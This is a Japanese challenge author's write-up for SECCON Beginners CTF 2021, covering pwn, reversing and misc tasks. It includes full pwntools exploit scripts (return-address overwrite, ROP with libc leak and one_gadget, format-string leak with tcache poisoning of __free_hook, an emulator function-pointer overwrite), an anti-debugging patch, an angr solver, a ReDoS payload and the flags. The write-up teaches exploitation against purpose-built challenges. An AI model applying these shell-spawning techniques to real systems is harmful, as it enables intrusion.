SECCON Beginners CTF 2021 作問者Writeup
問題
私が作問したのは以下の問題です
writeupや問題はGitHubにも上がっています.
Pwn
Rev
Misc
Writeup
やっていき
Pwn
今回はソースコードを配布したんですが,クソコードを晒す事になってしまい,申し訳ない.
というかコードがクソなせいで非本質的な部分に労力を割いてしまっていたら本当に申し訳ない.バイナリの方が素直.
rewriter
200 solves / 111 pt
問題文
任意のアドレスの値を書き換えたい時,ありますよね?
about
任意のアドレスを書き換えられる上,スタックの状態も教えてくれる良心的なプログラムです.
writeup
実行すると,現在のスタックの状態と,書き換えたい場所を聞かれます
[Addr] |[Value]
====================+===================
0x00007fffcd2b2c60 | 0x0000000000000000 <- buf
0x00007fffcd2b2c68 | 0x0000000000000000
0x00007fffcd2b2c70 | 0x0000000000000000
0x00007fffcd2b2c78 | 0x0000000000000000
0x00007fffcd2b2c80 | 0x0000000000000000 <- target
0x00007fffcd2b2c88 | 0x0000000000000000 <- value
0x00007fffcd2b2c90 | 0x0000000000401520 <- saved rbp
0x00007fffcd2b2c98 | 0x00007fd2e7131cb2 <- saved ret addr
0x00007fffcd2b2ca0 | 0x00007fffcd2b2d88
0x00007fffcd2b2ca8 | 0x00000001e7131b2b
Where would you like to rewrite it?
>
saved ret addr
が明示されているので,書き換えます.
objdumpやradare2でバイナリを読むと,0x4011f6
にwin
関数があるのがわかるので,そこに書き換えましょう.
[Addr] |[Value]
====================+===================
0x00007ffd4a9aeb60 | 0x0000000000000000 <- buf
0x00007ffd4a9aeb68 | 0x0000000000000000
0x00007ffd4a9aeb70 | 0x0000000000000000
0x00007ffd4a9aeb78 | 0x0000000000000000
0x00007ffd4a9aeb80 | 0x0000000000000000 <- target
0x00007ffd4a9aeb88 | 0x0000000000000000 <- value
0x00007ffd4a9aeb90 | 0x0000000000401520 <- saved rbp
0x00007ffd4a9aeb98 | 0x00007ff41adc9cb2 <- saved ret addr
0x00007ffd4a9aeba0 | 0x00007ffd4a9aec88
0x00007ffd4a9aeba8 | 0x000000011adc9b2b
Where would you like to rewrite it?
> 0x00007ffd4a9aeb98
0x00007ffd4a9aeb98 = 0x4011f6
[Addr] |[Value]
====================+===================
0x00007ffd4a9aeb60 | 0x3666313130347830 <- buf
0x00007ffd4a9aeb68 | 0x626561396134000a
0x00007ffd4a9aeb70 | 0x00000000000a3839
0x00007ffd4a9aeb78 | 0x0000000000000000
0x00007ffd4a9aeb80 | 0x00000000004011f6 <- target
0x00007ffd4a9aeb88 | 0x00007ffd4a9aeb98 <- value
0x00007ffd4a9aeb90 | 0x0000000000401520 <- saved rbp
0x00007ffd4a9aeb98 | 0x00000000004011f6 <- saved ret addr
0x00007ffd4a9aeba0 | 0x00007ffd4a9aec88
0x00007ffd4a9aeba8 | 0x000000011adc9b2b
/bin/cat: flag.txt: No such file or directory
ローカルではflag.txt
が無いので怒られていますが,問題ないのでリモートで試しましょう.
flag
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop
73 solve / 269 pt
問題文
Do you like programming?
Did you know Return Oriented Programming?
about
問題文にあるように,ROPを組む問題です
writeup
ソースも配布してますが,バイナリを読みます
[0x004010b0]> pdf @main
; DATA XREF from entry0 @ 0x4010d1
┌ 52: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x100
│ 0x00401196 f30f1efa endbr64
│ 0x0040119a 55 push rbp
│ 0x0040119b 4889e5 mov rbp, rsp
│ 0x0040119e 4881ec000100. sub rsp, 0x100
│ 0x004011a5 488d8500ffff. lea rax, [s]
│ 0x004011ac 4889c7 mov rdi, rax ; char *s
│ 0x004011af e8dcfeffff call sym.imp.gets ; char *gets(char *s)
│ 0x004011b4 488d8500ffff. lea rax, [s]
│ 0x004011bb 4889c7 mov rdi, rax ; const char *s
│ 0x004011be e8adfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x004011c3 b800000000 mov eax, 0
│ 0x004011c8 c9 leave
└ 0x004011c9 c3 ret
はい.
自明なBOFがあります.libcも配布してあるので,one_gadgetを狙います.
$ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
方針としては,以下の順番でROPを組みます
puts
でlibcのベースアドレスをリーク- 再度
main
へ(ret2main) - one_gadgetの呼び出し
solve.py
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4102'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.27.so')
context.binary = binfile
io = remote(HOST, PORT)
# padding
pad = b'a' * 0x108
# one_gadgets
one_gadgets = [0x4f3d5, 0x4f432, 0x10a41c]
# libc base address leak
rop = ROP(e)
rop.puts(e.got['__libc_start_main'])
rop.call(e.sym['main'])
payload = pad + rop.chain()
io.sendline(payload)
io.readline()
gets_addr = io.recvline()
libc_base = unpack(gets_addr.ljust(8, b'\0')) - libc.sym['__libc_start_main']
# call one_gadget
rop = ROP(e)
rop.call(pack(libc_base + one_gadgets[0]))
payload = pad + rop.chain()
io.sendline(payload)
io.sendline('echo "hello shell"')
io.recvuntil(b'hello shell\n')
io.sendline('cat flag.txt')
print(io.recvuntil(b'}').decode('utf-8', 'ignore'))
io.close()
exit()
flag
ctf4b{H4rd_ROP_c4f3}
uma_catch
28 solves / 394 pt
問題文
ウマを踊らせたりできるアプリケーションです.
うーー(うまきゃっち)
about
heap問です.
色々な脆弱性がありますが,今回のwriteupではfsb
でlibcのベースアドレスをリークし, tcache poisoning
で__free_hook
を書き換えます.
writeup
ソースコードが配布されているので,重要な部分をいくつか転記します
void show() {
printf(list[get_index()]->name);
}
この関数にはfsbがあります.
void naming() {
int i = get_index();
printf("name?\n> ");
fgets(list[i]->name, 0x20, stdin);
}
ここではlist[i]
のチェックを行っていないので,UAFがあります.
まずはshow
のfsbを使ってlibcのベースアドレスをリークします.
gdbでいい感じのindexを探すと,%11$p
に__libc_start_main+0xe7
があるのがわかるので,これを使います.
catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])
次に,naming
のUAFを使って,tcache poisoning
を行います.
release(0)
# nextを__free_hookに書き換える
naming(0, pack(libc_base + libc.sym['__free_hook']))
# このcatchでは,最初のcatch(0)と同じ領域が返ってくる
catch(1)
naming(1, b'sh\0')
# このcatchで__free_hookが返ってくるので,systemに書き換える
catch(2)
naming(2, pack(libc_base + libc.sym['system']))
# このreleaseは,system("sh")と同じ
release(1)
完全なソルバ
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4101'))
context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.27.so')
context.binary = binfile
io = remote(HOST, PORT)
def catch(index: int):
io.sendlineafter(b'command?\n> ', '1')
io.sendlineafter(b'index?\n> ', str(index))
io.sendlineafter(b'> ', "bay")
def naming(index: int, data: bytes):
io.sendlineafter(b'command?\n> ', '2')
io.sendlineafter(b'index?\n> ', str(index))
io.sendlineafter(b'name?\n> ', data)
def show(index: int):
io.sendlineafter(b'command?\n> ', '3')
io.sendlineafter(b'index?\n> ', str(index))
return io.readline()
def release(index: int):
io.sendlineafter(b'command?\n> ', '5')
io.sendlineafter(b'index?\n> ', str(index))
def dance(index: int):
io.sendlineafter(b'command?\n> ', '4')
io.sendlineafter(b'> ', str(index))
# leak
catch(0)
naming(0, "%11$p")
libc_base = (int(show(0).decode()[2:-1], 16) - 0xe7 - libc.sym['__libc_start_main'])
# poisoning
release(0)
naming(0, pack(libc_base + libc.sym['__free_hook']))
catch(1)
naming(1, b'sh\0')
# write to __free_hook
catch(2)
naming(2, pack(libc_base + libc.sym['system']))
# system("sh")
release(1)
# got shell
io.sendline('echo "hello shell"')
io.recvuntil(b'hello shell\n')
io.sendline('cat flag.txt')
print(io.readline().decode('utf-8', 'ignore'), end='')
io.close()
exit()
flag
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}
2021_emulator
12 solves / 453 pt
問題文
8080の1/4と少しの命令を実装したエミュレータです
8080のオペコードについてはこのサイトが参考になります.
このエミュレータにはMVI, MOV, RET等の命令が実装されています.
RET命令を発行すると,Aレジスタの内容を表示して,プログラムが終了します.
about
8080の1/4と少しのエミュレータなので,2021_emulator
です.
実装がデカいせいで,非本質的な部分に時間がかかってしまったかもしれないです.申し訳ないいう気持ちでいっぱい.
あと非想定解がありそうで怖いです.あったら教えてほしい.
writeup
脆弱性はシンプルで,emulator.h
を見ると,
struct emulator {
uint8_t registers[REGISTERS_COUNT];
uint8_t memory[0x4000];
void (*instructions[0xFF])(struct emulator*);
};
となっており,memory
とinstructions
が連続しています.
また,mvi
でメモリに書き込む時にチェックをしていないので,instructions
を上書きできます
static void mvi(struct emulator *emu) {
uint8_t pc = get_mem_pc(emu);
inc_pc(emu);
switch (pc) {
case 0x06:
emu->registers[B] = get_mem_pc(emu);
break;
case 0x0E:
emu->registers[C] = get_mem_pc(emu);
break;
case 0x16:
emu->registers[D] = get_mem_pc(emu);
break;
case 0x1E:
emu->registers[E] = get_mem_pc(emu);
break;
case 0x26:
emu->registers[H] = get_mem_pc(emu);
break;
case 0x2E:
emu->registers[L] = get_mem_pc(emu);
break;
case 0x36:
emu->memory[get_hl(emu)] = get_mem_pc(emu);
break;
case 0x3E:
emu->registers[A] = get_mem_pc(emu);
break;
default:
fprintf(stderr, "NOT IMPLEMENTED!!!!\n");
exit(1);
}
}
あとは仕様を読みながらいい感じにやるだけです
#!/usr/bin/env python3
from pwn import *
import os
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '4100'))
binfile = './chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote(HOST, PORT)
#io = process(binfile)
def mvi(r, d):
if r == 'A':
return bytes([0x3E, d])
elif r == 'B':
return bytes([0x06, d])
elif r == 'C':
return bytes([0x0E, d])
elif r == 'D':
return bytes([0x16, d])
elif r == 'E':
return bytes([0x1E, d])
elif r == 'H':
return bytes([0x26, d])
elif r == 'L':
return bytes([0x2E, d])
elif r == 'M':
return bytes([0x36, d])
system_addr = e.sym['system']
payload = mvi('H', 0x40) # memory[0x4000]
payload += mvi('L', 0x0c) # memory[0x400c]
payload += mvi('M', system_addr & 0xff) # memory[0x400c] = system_addr & 0xff
payload += mvi('L', 0x0d) # memory[0x400d]
payload += mvi('M', system_addr >> 8 & 0xff) # memory[0x400d] = system_addr >> 8 & 0xff
payload += mvi('L', 0x0e) # memory[0x400e]
payload += mvi('M', system_addr >> 16 & 0xff) # memory[0x400e] = system_addr >> 16 & 0xff
payload += mvi('A', ord('s'))
payload += mvi('B', ord('h'))
payload += mvi('C', 0)
payload += bytes([0x01, 0xc9])
io.recvuntil(b'loading to memory...')
io.send(payload)
io.recvuntil(b'running emulator...')
io.sendline('echo hello')
io.recvuntil('hello')
io.sendline('cat flag.txt')
print(io.recvuntil(b'}').decode('utf-8', 'ignore'))
flag
ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}
Rev
おもしろい問題は作れてないです.
only_read
440 solves/ 56 pt
問題文
バイナリ読めなきゃやばいなり〜
about
only read
writeup
[0x000010a0]> pdf @main
; DATA XREF from entry0 @ 0x10c1
┌ 352: int main (int argc, char **argv, char **envp);
│ ; var void *buf @ rbp-0x20
│ ; var int64_t var_1fh @ rbp-0x1f
│ ; var int64_t var_1eh @ rbp-0x1e
│ ; var int64_t var_1dh @ rbp-0x1d
│ ; var int64_t var_1ch @ rbp-0x1c
│ ; var int64_t var_1bh @ rbp-0x1b
│ ; var int64_t var_1ah @ rbp-0x1a
│ ; var int64_t var_19h @ rbp-0x19
│ ; var int64_t var_18h @ rbp-0x18
│ ; var int64_t var_17h @ rbp-0x17
│ ; var int64_t var_16h @ rbp-0x16
│ ; var int64_t var_15h @ rbp-0x15
│ ; var int64_t var_14h @ rbp-0x14
│ ; var int64_t var_13h @ rbp-0x13
│ ; var int64_t var_12h @ rbp-0x12
│ ; var int64_t var_11h @ rbp-0x11
│ ; var int64_t var_10h @ rbp-0x10
│ ; var int64_t var_fh @ rbp-0xf
│ ; var int64_t var_eh @ rbp-0xe
│ ; var int64_t var_dh @ rbp-0xd
│ ; var int64_t var_ch @ rbp-0xc
│ ; var int64_t var_bh @ rbp-0xb
│ ; var int64_t var_ah @ rbp-0xa
│ ; var int64_t canary @ rbp-0x8
│ 0x00001189 f30f1efa endbr64
│ 0x0000118d 55 push rbp
│ 0x0000118e 4889e5 mov rbp, rsp
│ 0x00001191 4883ec20 sub rsp, 0x20
│ 0x00001195 64488b042528. mov rax, qword fs:[0x28]
│ 0x0000119e 488945f8 mov qword [canary], rax
│ 0x000011a2 31c0 xor eax, eax
│ 0x000011a4 48c745e00000. mov qword [buf], 0
│ 0x000011ac 48c745e80000. mov qword [var_18h], 0
│ 0x000011b4 c745f0000000. mov dword [var_10h], 0
│ 0x000011bb 66c745f40000 mov word [var_ch], 0
│ 0x000011c1 c645f600 mov byte [var_ah], 0
│ 0x000011c5 488d45e0 lea rax, [buf]
│ 0x000011c9 ba17000000 mov edx, 0x17 ; size_t nbyte
│ 0x000011ce 4889c6 mov rsi, rax ; void *buf
│ 0x000011d1 bf00000000 mov edi, 0 ; int fildes
│ 0x000011d6 e8b5feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000011db c64405e000 mov byte [rbp + rax - 0x20], 0
│ 0x000011e0 0fb645e0 movzx eax, byte [buf]
│ 0x000011e4 3c63 cmp al, 0x63
│ ┌─< 0x000011e6 0f85da000000 jne 0x12c6
│ │ 0x000011ec 0fb645e1 movzx eax, byte [var_1fh]
│ │ 0x000011f0 3c74 cmp al, 0x74
│ ┌──< 0x000011f2 0f85ce000000 jne 0x12c6
│ ││ 0x000011f8 0fb645e2 movzx eax, byte [var_1eh]
│ ││ 0x000011fc 3c66 cmp al, 0x66
│ ┌───< 0x000011fe 0f85c2000000 jne 0x12c6
│ │││ 0x00001204 0fb645e3 movzx eax, byte [var_1dh]
│ │││ 0x00001208 3c34 cmp al, 0x34
│ ┌────< 0x0000120a 0f85b6000000 jne 0x12c6
│ ││││ 0x00001210 0fb645e4 movzx eax, byte [var_1ch]
│ ││││ 0x00001214 3c62 cmp al, 0x62
│ ┌─────< 0x00001216 0f85aa000000 jne 0x12c6
│ │││││ 0x0000121c 0fb645e5 movzx eax, byte [var_1bh]
│ │││││ 0x00001220 3c7b cmp al, 0x7b
│ ┌──────< 0x00001222 0f859e000000 jne 0x12c6
│ ││││││ 0x00001228 0fb645e6 movzx eax, byte [var_1ah]
│ ││││││ 0x0000122c 3c63 cmp al, 0x63
│ ┌───────< 0x0000122e 0f8592000000 jne 0x12c6
│ │││││││ 0x00001234 0fb645e7 movzx eax, byte [var_19h]
│ │││││││ 0x00001238 3c30 cmp al, 0x30
│ ────────< 0x0000123a 0f8586000000 jne 0x12c6
│ │││││││ 0x00001240 0fb645e8 movzx eax, byte [var_18h]
│ │││││││ 0x00001244 3c6e cmp al, 0x6e
│ ────────< 0x00001246 757e jne 0x12c6
│ │││││││ 0x00001248 0fb645e9 movzx eax, byte [var_17h]
│ │││││││ 0x0000124c 3c35 cmp al, 0x35
│ ────────< 0x0000124e 7576 jne 0x12c6
│ │││││││ 0x00001250 0fb645ea movzx eax, byte [var_16h]
│ │││││││ 0x00001254 3c74 cmp al, 0x74
│ ────────< 0x00001256 756e jne 0x12c6
│ │││││││ 0x00001258 0fb645eb movzx eax, byte [var_15h]
│ │││││││ 0x0000125c 3c34 cmp al, 0x34
│ ────────< 0x0000125e 7566 jne 0x12c6
│ │││││││ 0x00001260 0fb645ec movzx eax, byte [var_14h]
│ │││││││ 0x00001264 3c6e cmp al, 0x6e
│ ────────< 0x00001266 755e jne 0x12c6
│ │││││││ 0x00001268 0fb645ed movzx eax, byte [var_13h]
│ │││││││ 0x0000126c 3c74 cmp al, 0x74
│ ────────< 0x0000126e 7556 jne 0x12c6
│ │││││││ 0x00001270 0fb645ee movzx eax, byte [var_12h]
│ │││││││ 0x00001274 3c5f cmp al, 0x5f
│ ────────< 0x00001276 754e jne 0x12c6
│ │││││││ 0x00001278 0fb645ef movzx eax, byte [var_11h]
│ │││││││ 0x0000127c 3c66 cmp al, 0x66
│ ────────< 0x0000127e 7546 jne 0x12c6
│ │││││││ 0x00001280 0fb645f0 movzx eax, byte [var_10h]
│ │││││││ 0x00001284 3c30 cmp al, 0x30
│ ────────< 0x00001286 753e jne 0x12c6
│ │││││││ 0x00001288 0fb645f1 movzx eax, byte [var_fh]
│ │││││││ 0x0000128c 3c6c cmp al, 0x6c
│ ────────< 0x0000128e 7536 jne 0x12c6
│ │││││││ 0x00001290 0fb645f2 movzx eax, byte [var_eh]
│ │││││││ 0x00001294 3c64 cmp al, 0x64
│ ────────< 0x00001296 752e jne 0x12c6
│ │││││││ 0x00001298 0fb645f3 movzx eax, byte [var_dh]
│ │││││││ 0x0000129c 3c31 cmp al, 0x31
│ ────────< 0x0000129e 7526 jne 0x12c6
│ │││││││ 0x000012a0 0fb645f4 movzx eax, byte [var_ch]
│ │││││││ 0x000012a4 3c6e cmp al, 0x6e
│ ────────< 0x000012a6 751e jne 0x12c6
│ │││││││ 0x000012a8 0fb645f5 movzx eax, byte [var_bh]
│ │││││││ 0x000012ac 3c67 cmp al, 0x67
│ ────────< 0x000012ae 7516 jne 0x12c6
│ │││││││ 0x000012b0 0fb645f6 movzx eax, byte [var_ah]
│ │││││││ 0x000012b4 3c7d cmp al, 0x7d
│ ────────< 0x000012b6 750e jne 0x12c6
│ │││││││ 0x000012b8 488d3d450d00. lea rdi, str.Correct ; 0x2004 ; "Correct" ; const char *s
│ │││││││ 0x000012bf e8acfdffff call sym.imp.puts ; int puts(const char *s)
│ ────────< 0x000012c4 eb0c jmp 0x12d2
│ │││││││ ; XREFS(23)
│ └└└└└└└─> 0x000012c6 488d3d3f0d00. lea rdi, str.Incorrect ; 0x200c ; "Incorrect" ; const char *s
│ 0x000012cd e89efdffff call sym.imp.puts ; int puts(const char *s)
│ ; CODE XREF from main @ 0x12c4
│ ────────> 0x000012d2 90 nop
│ 0x000012d3 488b45f8 mov rax, qword [canary]
│ 0x000012d7 64482b042528. sub rax, qword fs:[0x28]
│ ┌─< 0x000012e0 7405 je 0x12e7
│ │ 0x000012e2 e899fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from main @ 0x12e0
│ └─> 0x000012e7 c9 leave
└ 0x000012e8 c3 ret
[0x000010a0]>
cmp
してる所を読むだけです.
flag
ctf4b{c0n5t4nt_f0ld1ng}
please_not_trace_me
83 solves / 248 pt
問題文
フラグを復号してくれるのは良いけど,表示してくれない!!
about
難読化されたバイナリです.
rc4っぽい処理で暗号化されたフラグをdecryptoしています.
rc4の鍵を特定し人もいるっぽいので,手元でアルゴリズムを特定しても解けますね.
writeup
今回のバイナリはgdbでアタッチしようとするとprease not trace me
と言われ,強制終了します.
てか今気付いたんですが,スペルミスしてますね.問題文はplease
なのに.めちゃくちゃ恥ずかしいじゃん.
とりあえずデバッガの検知してる部分を探します.main
をdisasするとptrace
呼んでるので,パッチ当てます.
radare2 -w -c "wx 9090909090 @ 0x000012f3" chall
これでgdb使えるので,やっていきましょう.
なんとなくrc4
の呼び出しでdecryptoすると想定できるので,そこらへんにbreak point用意すると,いい感じにわかります.
flag
ctf4b{d1d_y0u_d3crypt_rc4?}
be_angry
87 solves / 240 pt
問題文
読みづらいからって怒らないでください😢
about
これも難読化されています.
問題文の通り,angrを使います.
writeup
正解しているとCorrect!!
と表示される事がわかるので,angrやります.
#!/usr/bin/env python3
import angr
import logging
logging.getLogger("angr").setLevel("CRITICAL")
angr.manager.l.setLevel("CRITICAL")
proj = angr.Project("./chall")
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1))
if len(simgr.found) > 0:
found = simgr.found[0].posix.dumps(0).decode("utf-8", "ignore")
print(found)
flag
ctf4b{3nc0d3_4r1thm3t1c}
Misc
misc好きなのでいっぱい作りたかったけど,一つしか思いつきませんでした.ごめんなさい
Mail_Address_Validator
281 solve / 77 pt
問題文
あなたのメールアドレスが正しいか調べます.
about
ReDoSです.ReDoSはWeb問みたいな風潮がありますが,影響を考慮する必要があるのはWebだけじゃないと思うので,Miscにしました.
writeup
以下のパターンで検証をしています
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.
みたいなペイロードで通る.
今回は入力長に制限が無いのでクソ長ペイロードでも通ります.
import os
from socket import *
def recvuntil(token):
o = b''
while True:
o += io.recv(1)
if token in o:
break
return o
HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5100'))
payload = b'a@AAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
io = socket(AF_INET, SOCK_STREAM)
io.connect((HOST, PORT))
recvuntil(b'please puts your mail address.')
io.recv(1)
io.send(payload)
print(io.recv(0x100).decode('utf-8', 'ignore'), end='')
io.close()
ごめんなさい
Comments